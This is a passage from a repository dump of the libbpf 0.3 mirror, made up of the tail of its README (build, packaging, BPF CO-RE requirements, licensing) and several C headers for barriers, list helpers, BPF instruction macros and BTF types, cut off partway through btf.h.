4 | Please check out [libbpf-bootstrap](https://github.com/libbpf/libbpf-bootstrap)
5 | and [the companion blog post](https://nakryiko.com/posts/libbpf-bootstrap/) for
6 | the examples of building BPF applications with libbpf.
7 | [libbpf-tools](https://github.com/iovisor/bcc/tree/master/libbpf-tools) are also
8 | a good source of the real-world libbpf-based tracing tools.
9 |
10 | All general BPF questions, including kernel functionality, libbpf APIs and
11 | their application, should be sent to bpf@vger.kernel.org mailing list. You can
12 | subscribe to it [here](http://vger.kernel.org/vger-lists.html#bpf) and search
13 | its archive [here](https://lore.kernel.org/bpf/). Please search the archive
14 | before asking new questions. It very well might be that this was already
15 | addressed or answered before.
16 |
17 | bpf@vger.kernel.org is monitored by many more people and they will happily try
18 | to help you with whatever issue you have. This repository's PRs and issues
19 | should be opened only for dealing with issues pertaining to specific way this
20 | libbpf mirror repo is set up and organized.
21 |
22 | Build
23 | [](https://travis-ci.com/github/libbpf/libbpf)
24 | [](https://lgtm.com/projects/g/libbpf/libbpf/alerts/)
25 | [](https://scan.coverity.com/projects/libbpf)
26 | =====
27 | libelf is an internal dependency of libbpf and thus it is required to link
28 | against and must be installed on the system for applications to work.
29 | pkg-config is used by default to find libelf, and the program called can be
30 | overridden with `PKG_CONFIG`.
31 |
32 | If using `pkg-config` at build time is not desired, it can be disabled by
33 | setting `NO_PKG_CONFIG=1` when calling make.
34 |
35 | To build both static libbpf.a and shared libbpf.so:
36 | ```bash
37 | $ cd src
38 | $ make
39 | ```
40 |
41 | To build only static libbpf.a library in directory
42 | build/ and install them together with libbpf headers in a staging directory
43 | root/:
44 | ```bash
45 | $ cd src
46 | $ mkdir build root
47 | $ BUILD_STATIC_ONLY=y OBJDIR=build DESTDIR=root make install
48 | ```
49 |
50 | To build both static libbpf.a and shared libbpf.so against a custom libelf
51 | dependency installed in /build/root/ and install them together with libbpf
52 | headers in a build directory /build/root/:
53 | ```bash
54 | $ cd src
55 | $ PKG_CONFIG_PATH=/build/root/lib64/pkgconfig DESTDIR=/build/root make install
56 | ```
57 |
58 | Distributions
59 | =============
60 |
61 | Distributions packaging libbpf from this mirror:
62 | - [Fedora](https://src.fedoraproject.org/rpms/libbpf)
63 | - [Gentoo](https://packages.gentoo.org/packages/dev-libs/libbpf)
64 | - [Debian](https://packages.debian.org/source/sid/libbpf)
65 | - [Arch](https://www.archlinux.org/packages/extra/x86_64/libbpf/)
66 | - [Ubuntu](https://packages.ubuntu.com/source/groovy/libbpf)
67 |
68 | Benefits of packaging from the mirror over packaging from kernel sources:
69 | - Consistent versioning across distributions.
70 | - No ties to any specific kernel, transparent handling of older kernels.
71 | Libbpf is designed to be kernel-agnostic and work across multitude of
72 | kernel versions. It has built-in mechanisms to gracefully handle older
73 | kernels, that are missing some of the features, by working around or
74 | gracefully degrading functionality. Thus libbpf is not tied to a specific
75 | kernel version and can/should be packaged and versioned independently.
76 | - Continuous integration testing via
77 | [TravisCI](https://travis-ci.org/libbpf/libbpf).
78 | - Static code analysis via [LGTM](https://lgtm.com/projects/g/libbpf/libbpf)
79 | and [Coverity](https://scan.coverity.com/projects/libbpf).
80 |
81 | Package dependencies of libbpf, package names may vary across distros:
82 | - zlib
83 | - libelf
84 |
85 | BPF CO-RE (Compile Once – Run Everywhere)
86 | =========================================
87 |
88 | Libbpf supports building BPF CO-RE-enabled applications, which, in contrast to
89 | [BCC](https://github.com/iovisor/bcc/), do not require Clang/LLVM runtime
90 | being deployed to target servers and doesn't rely on kernel-devel headers
91 | being available.
92 |
93 | It does rely on kernel to be built with [BTF type
94 | information](https://www.kernel.org/doc/html/latest/bpf/btf.html), though.
95 | Some major Linux distributions come with kernel BTF already built in:
96 | - Fedora 31+
97 | - RHEL 8.2+
98 | - OpenSUSE Tumbleweed (in the next release, as of 2020-06-04)
99 | - Arch Linux (from kernel 5.7.1.arch1-1)
100 | - Ubuntu 20.10
101 |
102 | If your kernel doesn't come with BTF built-in, you'll need to build custom
103 | kernel. You'll need:
104 | - `pahole` 1.16+ tool (part of `dwarves` package), which performs DWARF to
105 | BTF conversion;
106 | - kernel built with `CONFIG_DEBUG_INFO_BTF=y` option;
107 | - you can check if your kernel has BTF built-in by looking for
108 | `/sys/kernel/btf/vmlinux` file:
109 |
110 | ```shell
111 | $ ls -la /sys/kernel/btf/vmlinux
112 | -r--r--r--. 1 root root 3541561 Jun 2 18:16 /sys/kernel/btf/vmlinux
113 | ```
114 |
115 | To develop and build BPF programs, you'll need Clang/LLVM 10+. The following
116 | distributions have Clang/LLVM 10+ packaged by default:
117 | - Fedora 32+
118 | - Ubuntu 20.04+
119 | - Arch Linux
120 | - Ubuntu 20.10 (LLVM 11)
121 | - Debian 11 (LLVM 11)
122 |
123 | Otherwise, please make sure to update it on your system.
124 |
125 | The following resources are useful to understand what BPF CO-RE is and how to
126 | use it:
127 | - [BPF Portability and CO-RE](https://facebookmicrosites.github.io/bpf/blog/2020/02/19/bpf-portability-and-co-re.html)
128 | - [HOWTO: BCC to libbpf conversion](https://facebookmicrosites.github.io/bpf/blog/2020/02/20/bcc-to-libbpf-howto-guide.html)
129 | - [libbpf-tools in BCC repo](https://github.com/iovisor/bcc/tree/master/libbpf-tools)
130 | contain lots of real-world tools converted from BCC to BPF CO-RE. Consider
131 | converting some more to both contribute to the BPF community and gain some
132 | more experience with it.
133 |
134 | Details
135 | =======
136 | This is a mirror of [bpf-next Linux source
137 | tree](https://kernel.googlesource.com/pub/scm/linux/kernel/git/bpf/bpf-next)'s
138 | `tools/lib/bpf` directory plus its supporting header files.
139 |
140 | All the gory details of syncing can be found in `scripts/sync-kernel.sh`
141 | script.
142 |
143 | Some header files in this repo (`include/linux/*.h`) are reduced versions of
144 | their counterpart files at
145 | [bpf-next](https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf-next.git/)'s
146 | `tools/include/linux/*.h` to make compilation successful.
147 |
148 | License
149 | =======
150 |
151 | This work is dual-licensed under BSD 2-clause license and GNU LGPL v2.1 license.
152 | You can choose between one of them if you use this work.
153 |
154 | `SPDX-License-Identifier: BSD-2-Clause OR LGPL-2.1`
155 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/asm/barrier.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 | #ifndef __ASM_BARRIER_H
3 | #define __ASM_BARRIER_H
4 |
5 | #include
6 |
7 | #endif
8 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/linux/compiler.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 |
3 | #ifndef __LINUX_COMPILER_H
4 | #define __LINUX_COMPILER_H
5 |
6 | #define likely(x) __builtin_expect(!!(x), 1)
7 | #define unlikely(x) __builtin_expect(!!(x), 0)
8 |
9 | #define READ_ONCE(x) (*(volatile typeof(x) *)&x)
10 | #define WRITE_ONCE(x, v) (*(volatile typeof(x) *)&x) = (v)
11 |
12 | #define barrier() asm volatile("" ::: "memory")
13 |
14 | #if defined(__x86_64__)
15 |
16 | # define smp_rmb() barrier()
17 | # define smp_wmb() barrier()
18 | # define smp_mb() asm volatile("lock; addl $0,-132(%%rsp)" ::: "memory", "cc")
19 |
20 | # define smp_store_release(p, v) \
21 | do { \
22 | barrier(); \
23 | WRITE_ONCE(*p, v); \
24 | } while (0)
25 |
26 | # define smp_load_acquire(p) \
27 | ({ \
28 | typeof(*p) ___p = READ_ONCE(*p); \
29 | barrier(); \
30 | ___p; \
31 | })
32 |
33 | #elif defined(__aarch64__)
34 |
35 | # define smp_rmb() asm volatile("dmb ishld" ::: "memory")
36 | # define smp_wmb() asm volatile("dmb ishst" ::: "memory")
37 | # define smp_mb() asm volatile("dmb ish" ::: "memory")
38 |
39 | #endif
40 |
41 | #ifndef smp_mb
42 | # define smp_mb() __sync_synchronize()
43 | #endif
44 |
45 | #ifndef smp_rmb
46 | # define smp_rmb() smp_mb()
47 | #endif
48 |
49 | #ifndef smp_wmb
50 | # define smp_wmb() smp_mb()
51 | #endif
52 |
53 | #ifndef smp_store_release
54 | # define smp_store_release(p, v) \
55 | do { \
56 | smp_mb(); \
57 | WRITE_ONCE(*p, v); \
58 | } while (0)
59 | #endif
60 |
61 | #ifndef smp_load_acquire
62 | # define smp_load_acquire(p) \
63 | ({ \
64 | typeof(*p) ___p = READ_ONCE(*p); \
65 | smp_mb(); \
66 | ___p; \
67 | })
68 | #endif
69 |
70 | #endif /* __LINUX_COMPILER_H */
71 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/linux/err.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 |
3 | #ifndef __LINUX_ERR_H
4 | #define __LINUX_ERR_H
5 |
6 | #include
7 | #include
8 |
9 | #define MAX_ERRNO 4095
10 |
11 | #define IS_ERR_VALUE(x) ((x) >= (unsigned long)-MAX_ERRNO)
12 |
13 | static inline void * ERR_PTR(long error_)
14 | {
15 | return (void *) error_;
16 | }
17 |
18 | static inline long PTR_ERR(const void *ptr)
19 | {
20 | return (long) ptr;
21 | }
22 |
23 | static inline bool IS_ERR(const void *ptr)
24 | {
25 | return IS_ERR_VALUE((unsigned long)ptr);
26 | }
27 |
28 | static inline bool IS_ERR_OR_NULL(const void *ptr)
29 | {
30 | return (!ptr) || IS_ERR_VALUE((unsigned long)ptr);
31 | }
32 |
33 | static inline long PTR_ERR_OR_ZERO(const void *ptr)
34 | {
35 | return IS_ERR(ptr) ? PTR_ERR(ptr) : 0;
36 | }
37 |
38 | #endif
39 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/linux/filter.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 |
3 | #ifndef __LINUX_FILTER_H
4 | #define __LINUX_FILTER_H
5 |
6 | #include
7 |
8 | #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
9 | ((struct bpf_insn) { \
10 | .code = CODE, \
11 | .dst_reg = DST, \
12 | .src_reg = SRC, \
13 | .off = OFF, \
14 | .imm = IMM })
15 |
16 | #define BPF_ALU64_IMM(OP, DST, IMM) \
17 | ((struct bpf_insn) { \
18 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
19 | .dst_reg = DST, \
20 | .src_reg = 0, \
21 | .off = 0, \
22 | .imm = IMM })
23 |
24 | #define BPF_MOV64_IMM(DST, IMM) \
25 | ((struct bpf_insn) { \
26 | .code = BPF_ALU64 | BPF_MOV | BPF_K, \
27 | .dst_reg = DST, \
28 | .src_reg = 0, \
29 | .off = 0, \
30 | .imm = IMM })
31 |
32 | #define BPF_EXIT_INSN() \
33 | ((struct bpf_insn) { \
34 | .code = BPF_JMP | BPF_EXIT, \
35 | .dst_reg = 0, \
36 | .src_reg = 0, \
37 | .off = 0, \
38 | .imm = 0 })
39 |
40 | #define BPF_EMIT_CALL(FUNC) \
41 | ((struct bpf_insn) { \
42 | .code = BPF_JMP | BPF_CALL, \
43 | .dst_reg = 0, \
44 | .src_reg = 0, \
45 | .off = 0, \
46 | .imm = ((FUNC) - BPF_FUNC_unspec) })
47 |
48 | #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
49 | ((struct bpf_insn) { \
50 | .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
51 | .dst_reg = DST, \
52 | .src_reg = SRC, \
53 | .off = OFF, \
54 | .imm = 0 })
55 |
56 | #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
57 | ((struct bpf_insn) { \
58 | .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
59 | .dst_reg = DST, \
60 | .src_reg = SRC, \
61 | .off = OFF, \
62 | .imm = 0 })
63 |
64 | #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
65 | ((struct bpf_insn) { \
66 | .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
67 | .dst_reg = DST, \
68 | .src_reg = 0, \
69 | .off = OFF, \
70 | .imm = IMM })
71 |
72 | #define BPF_MOV64_REG(DST, SRC) \
73 | ((struct bpf_insn) { \
74 | .code = BPF_ALU64 | BPF_MOV | BPF_X, \
75 | .dst_reg = DST, \
76 | .src_reg = SRC, \
77 | .off = 0, \
78 | .imm = 0 })
79 |
80 | #define BPF_MOV32_IMM(DST, IMM) \
81 | ((struct bpf_insn) { \
82 | .code = BPF_ALU | BPF_MOV | BPF_K, \
83 | .dst_reg = DST, \
84 | .src_reg = 0, \
85 | .off = 0, \
86 | .imm = IMM })
87 |
88 | #define BPF_LD_IMM64_RAW_FULL(DST, SRC, OFF1, OFF2, IMM1, IMM2) \
89 | ((struct bpf_insn) { \
90 | .code = BPF_LD | BPF_DW | BPF_IMM, \
91 | .dst_reg = DST, \
92 | .src_reg = SRC, \
93 | .off = OFF1, \
94 | .imm = IMM1 }), \
95 | ((struct bpf_insn) { \
96 | .code = 0, \
97 | .dst_reg = 0, \
98 | .src_reg = 0, \
99 | .off = OFF2, \
100 | .imm = IMM2 })
101 |
102 | #define BPF_LD_MAP_FD(DST, MAP_FD) \
103 | BPF_LD_IMM64_RAW_FULL(DST, BPF_PSEUDO_MAP_FD, 0, 0, \
104 | MAP_FD, 0)
105 |
106 | #define BPF_LD_MAP_VALUE(DST, MAP_FD, VALUE_OFF) \
107 | BPF_LD_IMM64_RAW_FULL(DST, BPF_PSEUDO_MAP_VALUE, 0, 0, \
108 | MAP_FD, VALUE_OFF)
109 |
110 | #define BPF_JMP_IMM(OP, DST, IMM, OFF) \
111 | ((struct bpf_insn) { \
112 | .code = BPF_JMP | BPF_OP(OP) | BPF_K, \
113 | .dst_reg = DST, \
114 | .src_reg = 0, \
115 | .off = OFF, \
116 | .imm = IMM })
117 |
118 | #define BPF_JMP32_IMM(OP, DST, IMM, OFF) \
119 | ((struct bpf_insn) { \
120 | .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
121 | .dst_reg = DST, \
122 | .src_reg = 0, \
123 | .off = OFF, \
124 | .imm = IMM })
125 |
126 | #endif
127 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/linux/kernel.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 |
3 | #ifndef __LINUX_KERNEL_H
4 | #define __LINUX_KERNEL_H
5 |
6 | #ifndef offsetof
7 | #define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER)
8 | #endif
9 |
10 | #ifndef container_of
11 | #define container_of(ptr, type, member) ({ \
12 | const typeof(((type *)0)->member) * __mptr = (ptr); \
13 | (type *)((char *)__mptr - offsetof(type, member)); })
14 | #endif
15 |
16 | #ifndef max
17 | #define max(x, y) ({ \
18 | typeof(x) _max1 = (x); \
19 | typeof(y) _max2 = (y); \
20 | (void) (&_max1 == &_max2); \
21 | _max1 > _max2 ? _max1 : _max2; })
22 | #endif
23 |
24 | #ifndef min
25 | #define min(x, y) ({ \
26 | typeof(x) _min1 = (x); \
27 | typeof(y) _min2 = (y); \
28 | (void) (&_min1 == &_min2); \
29 | _min1 < _min2 ? _min1 : _min2; })
30 | #endif
31 |
32 | #ifndef roundup
33 | #define roundup(x, y) ( \
34 | { \
35 | const typeof(y) __y = y; \
36 | (((x) + (__y - 1)) / __y) * __y; \
37 | } \
38 | )
39 | #endif
40 |
41 | #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))
42 | #define __KERNEL_DIV_ROUND_UP(n, d) (((n) + (d) - 1) / (d))
43 |
44 | #endif
45 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/linux/list.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 |
3 | #ifndef __LINUX_LIST_H
4 | #define __LINUX_LIST_H
5 |
6 | #define LIST_HEAD_INIT(name) { &(name), &(name) }
7 | #define LIST_HEAD(name) \
8 | struct list_head name = LIST_HEAD_INIT(name)
9 |
10 | #define POISON_POINTER_DELTA 0
11 | #define LIST_POISON1 ((void *) 0x100 + POISON_POINTER_DELTA)
12 | #define LIST_POISON2 ((void *) 0x200 + POISON_POINTER_DELTA)
13 |
14 |
15 | static inline void INIT_LIST_HEAD(struct list_head *list)
16 | {
17 | list->next = list;
18 | list->prev = list;
19 | }
20 |
21 | static inline void __list_add(struct list_head *new,
22 | struct list_head *prev,
23 | struct list_head *next)
24 | {
25 | next->prev = new;
26 | new->next = next;
27 | new->prev = prev;
28 | prev->next = new;
29 | }
30 |
31 | /**
32 | * list_add - add a new entry
33 | * @new: new entry to be added
34 | * @head: list head to add it after
35 | *
36 | * Insert a new entry after the specified head.
37 | * This is good for implementing stacks.
38 | */
39 | static inline void list_add(struct list_head *new, struct list_head *head)
40 | {
41 | __list_add(new, head, head->next);
42 | }
43 |
44 | /*
45 | * Delete a list entry by making the prev/next entries
46 | * point to each other.
47 | *
48 | * This is only for internal list manipulation where we know
49 | * the prev/next entries already!
50 | */
51 | static inline void __list_del(struct list_head * prev, struct list_head * next)
52 | {
53 | next->prev = prev;
54 | prev->next = next;
55 | }
56 |
57 | /**
58 | * list_del - deletes entry from list.
59 | * @entry: the element to delete from the list.
60 | * Note: list_empty() on entry does not return true after this, the entry is
61 | * in an undefined state.
62 | */
63 | static inline void __list_del_entry(struct list_head *entry)
64 | {
65 | __list_del(entry->prev, entry->next);
66 | }
67 |
68 | static inline void list_del(struct list_head *entry)
69 | {
70 | __list_del(entry->prev, entry->next);
71 | entry->next = LIST_POISON1;
72 | entry->prev = LIST_POISON2;
73 | }
74 |
75 | static inline int list_empty(const struct list_head *head)
76 | {
77 | return head->next == head;
78 | }
79 |
80 | #define list_entry(ptr, type, member) \
81 | container_of(ptr, type, member)
82 | #define list_first_entry(ptr, type, member) \
83 | list_entry((ptr)->next, type, member)
84 | #define list_next_entry(pos, member) \
85 | list_entry((pos)->member.next, typeof(*(pos)), member)
86 | #define list_for_each_entry(pos, head, member) \
87 | for (pos = list_first_entry(head, typeof(*pos), member); \
88 | &pos->member != (head); \
89 | pos = list_next_entry(pos, member))
90 |
91 | #endif
92 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/linux/overflow.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 |
3 | #ifndef __LINUX_OVERFLOW_H
4 | #define __LINUX_OVERFLOW_H
5 |
6 | #define is_signed_type(type) (((type)(-1)) < (type)1)
7 | #define __type_half_max(type) ((type)1 << (8*sizeof(type) - 1 - is_signed_type(type)))
8 | #define type_max(T) ((T)((__type_half_max(T) - 1) + __type_half_max(T)))
9 | #define type_min(T) ((T)((T)-type_max(T)-(T)1))
10 |
11 | #ifndef unlikely
12 | #define unlikely(x) __builtin_expect(!!(x), 0)
13 | #endif
14 |
15 | #ifdef __GNUC__
16 | #define GCC_VERSION (__GNUC__ * 10000 \
17 | + __GNUC_MINOR__ * 100 \
18 | + __GNUC_PATCHLEVEL__)
19 | #if GCC_VERSION >= 50100
20 | #define COMPILER_HAS_GENERIC_BUILTIN_OVERFLOW 1
21 | #endif
22 | #endif
23 |
24 | #ifdef COMPILER_HAS_GENERIC_BUILTIN_OVERFLOW
25 |
26 | #define check_mul_overflow(a, b, d) ({ \
27 | typeof(a) __a = (a); \
28 | typeof(b) __b = (b); \
29 | typeof(d) __d = (d); \
30 | (void) (&__a == &__b); \
31 | (void) (&__a == __d); \
32 | __builtin_mul_overflow(__a, __b, __d); \
33 | })
34 |
35 | #else
36 |
37 | /*
38 | * If one of a or b is a compile-time constant, this avoids a division.
39 | */
40 | #define __unsigned_mul_overflow(a, b, d) ({ \
41 | typeof(a) __a = (a); \
42 | typeof(b) __b = (b); \
43 | typeof(d) __d = (d); \
44 | (void) (&__a == &__b); \
45 | (void) (&__a == __d); \
46 | *__d = __a * __b; \
47 | __builtin_constant_p(__b) ? \
48 | __b > 0 && __a > type_max(typeof(__a)) / __b : \
49 | __a > 0 && __b > type_max(typeof(__b)) / __a; \
50 | })
51 |
52 | /*
53 | * Signed multiplication is rather hard. gcc always follows C99, so
54 | * division is truncated towards 0. This means that we can write the
55 | * overflow check like this:
56 | *
57 | * (a > 0 && (b > MAX/a || b < MIN/a)) ||
58 | * (a < -1 && (b > MIN/a || b < MAX/a) ||
59 | * (a == -1 && b == MIN)
60 | *
61 | * The redundant casts of -1 are to silence an annoying -Wtype-limits
62 | * (included in -Wextra) warning: When the type is u8 or u16, the
63 | * __b_c_e in check_mul_overflow obviously selects
64 | * __unsigned_mul_overflow, but unfortunately gcc still parses this
65 | * code and warns about the limited range of __b.
66 | */
67 |
68 | #define __signed_mul_overflow(a, b, d) ({ \
69 | typeof(a) __a = (a); \
70 | typeof(b) __b = (b); \
71 | typeof(d) __d = (d); \
72 | typeof(a) __tmax = type_max(typeof(a)); \
73 | typeof(a) __tmin = type_min(typeof(a)); \
74 | (void) (&__a == &__b); \
75 | (void) (&__a == __d); \
76 | *__d = (__u64)__a * (__u64)__b; \
77 | (__b > 0 && (__a > __tmax/__b || __a < __tmin/__b)) || \
78 | (__b < (typeof(__b))-1 && (__a > __tmin/__b || __a < __tmax/__b)) || \
79 | (__b == (typeof(__b))-1 && __a == __tmin); \
80 | })
81 |
82 | #define check_mul_overflow(a, b, d) \
83 | __builtin_choose_expr(is_signed_type(typeof(a)), \
84 | __signed_mul_overflow(a, b, d), \
85 | __unsigned_mul_overflow(a, b, d))
86 |
87 |
88 | #endif /* COMPILER_HAS_GENERIC_BUILTIN_OVERFLOW */
89 |
90 | #endif
91 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/linux/ring_buffer.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 | #ifndef _TOOLS_LINUX_RING_BUFFER_H_
3 | #define _TOOLS_LINUX_RING_BUFFER_H_
4 |
5 | #include
6 |
7 | static inline __u64 ring_buffer_read_head(struct perf_event_mmap_page *base)
8 | {
9 | return smp_load_acquire(&base->data_head);
10 | }
11 |
12 | static inline void ring_buffer_write_tail(struct perf_event_mmap_page *base,
13 | __u64 tail)
14 | {
15 | smp_store_release(&base->data_tail, tail);
16 | }
17 |
18 | #endif /* _TOOLS_LINUX_RING_BUFFER_H_ */
19 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/linux/types.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
2 |
3 | #ifndef __LINUX_TYPES_H
4 | #define __LINUX_TYPES_H
5 |
6 | #include
7 | #include
8 | #include
9 |
10 | #include
11 | #include
12 |
13 | #define __bitwise__
14 | #define __bitwise __bitwise__
15 |
16 | typedef __u16 __bitwise __le16;
17 | typedef __u16 __bitwise __be16;
18 | typedef __u32 __bitwise __le32;
19 | typedef __u32 __bitwise __be32;
20 | typedef __u64 __bitwise __le64;
21 | typedef __u64 __bitwise __be64;
22 |
23 | #ifndef __aligned_u64
24 | # define __aligned_u64 __u64 __attribute__((aligned(8)))
25 | #endif
26 |
27 | struct list_head {
28 | struct list_head *next, *prev;
29 | };
30 |
31 | #endif
32 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/uapi/linux/bpf_common.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
2 | #ifndef _UAPI__LINUX_BPF_COMMON_H__
3 | #define _UAPI__LINUX_BPF_COMMON_H__
4 |
5 | /* Instruction classes */
6 | #define BPF_CLASS(code) ((code) & 0x07)
7 | #define BPF_LD 0x00
8 | #define BPF_LDX 0x01
9 | #define BPF_ST 0x02
10 | #define BPF_STX 0x03
11 | #define BPF_ALU 0x04
12 | #define BPF_JMP 0x05
13 | #define BPF_RET 0x06
14 | #define BPF_MISC 0x07
15 |
16 | /* ld/ldx fields */
17 | #define BPF_SIZE(code) ((code) & 0x18)
18 | #define BPF_W 0x00 /* 32-bit */
19 | #define BPF_H 0x08 /* 16-bit */
20 | #define BPF_B 0x10 /* 8-bit */
21 | /* eBPF BPF_DW 0x18 64-bit */
22 | #define BPF_MODE(code) ((code) & 0xe0)
23 | #define BPF_IMM 0x00
24 | #define BPF_ABS 0x20
25 | #define BPF_IND 0x40
26 | #define BPF_MEM 0x60
27 | #define BPF_LEN 0x80
28 | #define BPF_MSH 0xa0
29 |
30 | /* alu/jmp fields */
31 | #define BPF_OP(code) ((code) & 0xf0)
32 | #define BPF_ADD 0x00
33 | #define BPF_SUB 0x10
34 | #define BPF_MUL 0x20
35 | #define BPF_DIV 0x30
36 | #define BPF_OR 0x40
37 | #define BPF_AND 0x50
38 | #define BPF_LSH 0x60
39 | #define BPF_RSH 0x70
40 | #define BPF_NEG 0x80
41 | #define BPF_MOD 0x90
42 | #define BPF_XOR 0xa0
43 |
44 | #define BPF_JA 0x00
45 | #define BPF_JEQ 0x10
46 | #define BPF_JGT 0x20
47 | #define BPF_JGE 0x30
48 | #define BPF_JSET 0x40
49 | #define BPF_SRC(code) ((code) & 0x08)
50 | #define BPF_K 0x00
51 | #define BPF_X 0x08
52 |
53 | #ifndef BPF_MAXINSNS
54 | #define BPF_MAXINSNS 4096
55 | #endif
56 |
57 | #endif /* _UAPI__LINUX_BPF_COMMON_H__ */
58 |
--------------------------------------------------------------------------------
/libbpf-0.3/include/uapi/linux/btf.h:
--------------------------------------------------------------------------------
1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
2 | /* Copyright (c) 2018 Facebook */
3 | #ifndef _UAPI__LINUX_BTF_H__
4 | #define _UAPI__LINUX_BTF_H__
5 |
6 | #include
7 |
8 | #define BTF_MAGIC 0xeB9F
9 | #define BTF_VERSION 1
10 |
11 | struct btf_header {
12 | __u16 magic;
13 | __u8 version;
14 | __u8 flags;
15 | __u32 hdr_len;
16 |
17 | /* All offsets are in bytes relative to the end of this header */
18 | __u32 type_off; /* offset of type section */
19 | __u32 type_len; /* length of type section */
20 | __u32 str_off; /* offset of string section */
21 | __u32 str_len; /* length of string section */
22 | };
23 |
24 | /* Max # of type identifier */
25 | #define BTF_MAX_TYPE 0x000fffff
26 | /* Max offset into the string section */
27 | #define BTF_MAX_NAME_OFFSET 0x00ffffff
28 | /* Max # of struct/union/enum members or func args */
29 | #define BTF_MAX_VLEN 0xffff
30 |
31 | struct btf_type {
32 | __u32 name_off;
33 | /* "info" bits arrangement
34 | * bits 0-15: vlen (e.g. # of struct's members)
35 | * bits 16-23: unused
36 | * bits 24-27: kind (e.g. int, ptr, array...etc)
37 | * bits 28-30: unused
38 | * bit 31: kind_flag, currently used by
39 | * struct, union and fwd
40 | */
41 | __u32 info;
42 | /* "size" is used by INT, ENUM, STRUCT, UNION and DATASEC.
43 | * "size" tells the size of the type it is describing.
44 | *
45 | * "type" is used by PTR, TYPEDEF, VOLATILE, CONST, RESTRICT,
46 | * FUNC, FUNC_PROTO and VAR.
47 | * "type" is a type_id referring to another type.
48 | */
49 | union {
50 | __u32 size;
51 | __u32 type;
52 | };
53 | };
54 |
55 | #define BTF_INFO_KIND(info) (((info) >> 24) & 0x0f)
56 | #define BTF_INFO_VLEN(info) ((info) & 0xffff)
57 | #define BTF_INFO_KFLAG(info) ((info) >> 31)
58 |
59 | #define BTF_KIND_UNKN 0 /* Unknown */
60 | #define BTF_KIND_INT 1 /* Integer */
61 | #define BTF_KIND_PTR 2 /* Pointer */
62 | #define BTF_KIND_ARRAY 3 /* Array */
63 | #define BTF_KIND_STRUCT 4 /* Struct */
64 | #define BTF_KIND_UNION 5 /* Union */
65 | #define BTF_KIND_ENUM 6 /* Enumeration */
66 | #define BTF_KIND_FWD 7 /* Forward */
67 | #define BTF_KIND_TYPEDEF 8 /* Typedef */
68 | #define BTF_KIND_VOLATILE 9 /* Volatile */
69 | #define BTF_KIND_CONST 10 /* Const */
70 | #define BTF_KIND_RESTRICT 11 /* Restrict */
71 | #define BTF_KIND_FUNC 12 /* Function */
72 | #define BTF_KIND_FUNC_PROTO 13 /* Function Proto */
73 | #define BTF_KIND_VAR 14 /* Variable */
74 | #define BTF_KIND_DATASEC 15 /* Section */
75 | #define BTF_KIND_MAX BTF_KIND_DATASEC
76 | #define NR_BTF_KINDS (BTF_KIND_MAX + 1)
77 |
78 | /* For some specific BTF_KIND, "struct btf_type" is immediately
79 | * followed by extra data.
80 | */
81 |
82 | /* BTF_KIND_INT is followed by a u32 and the following
83 | * is the 32 bits arrangement:
84 | */
85 | #define BTF_INT_ENCODING(VAL) (((VAL) & 0x0f000000) >> 24)
86 | #define BTF_INT_OFFSET(VAL) (((VAL) & 0x00ff0000) >> 16)
87 | #define BTF_INT_BITS(VAL) ((VAL) & 0x000000ff)
88 |
89 | /* Attributes stored in the BTF_INT_ENCODING */
90 | #define BTF_INT_SIGNED (1 << 0)
91 | #define BTF_INT_CHAR (1 << 1)
92 | #define BTF_INT_BOOL (1 << 2)
93 |
94 | /* BTF_KIND_ENUM is followed by multiple "struct btf_enum".
95 | * The exact number of btf_enum is stored in the vlen (of the
96 | * info in "struct btf_type").
97 | */
98 | struct btf_enum {
99 | __u32 name_off;
100 | __s32 val;
101 | };
102 |
103 | /* BTF_KIND_ARRAY is followed by one "struct btf_array" */
104 | struct btf_array {
105 | __u32 type;
106 | __u32 index_type;
107 | __u32 nelems;
108 | };
109 |
110 | /* BTF_KIND_STRUCT and BTF_KIND_UNION are followed
111 | * by multiple "struct btf_member". The exact number
112 | * of btf_member is stored in the vlen (of the info in
113 | * "struct btf_type").
114 | */
115 | struct btf_member {
116 | __u32 name_off;
117 | __u32 type;
118 | /* If the type info kind_flag is set, the btf_member offset
119 | * contains both member bitfield size and bit offset. The
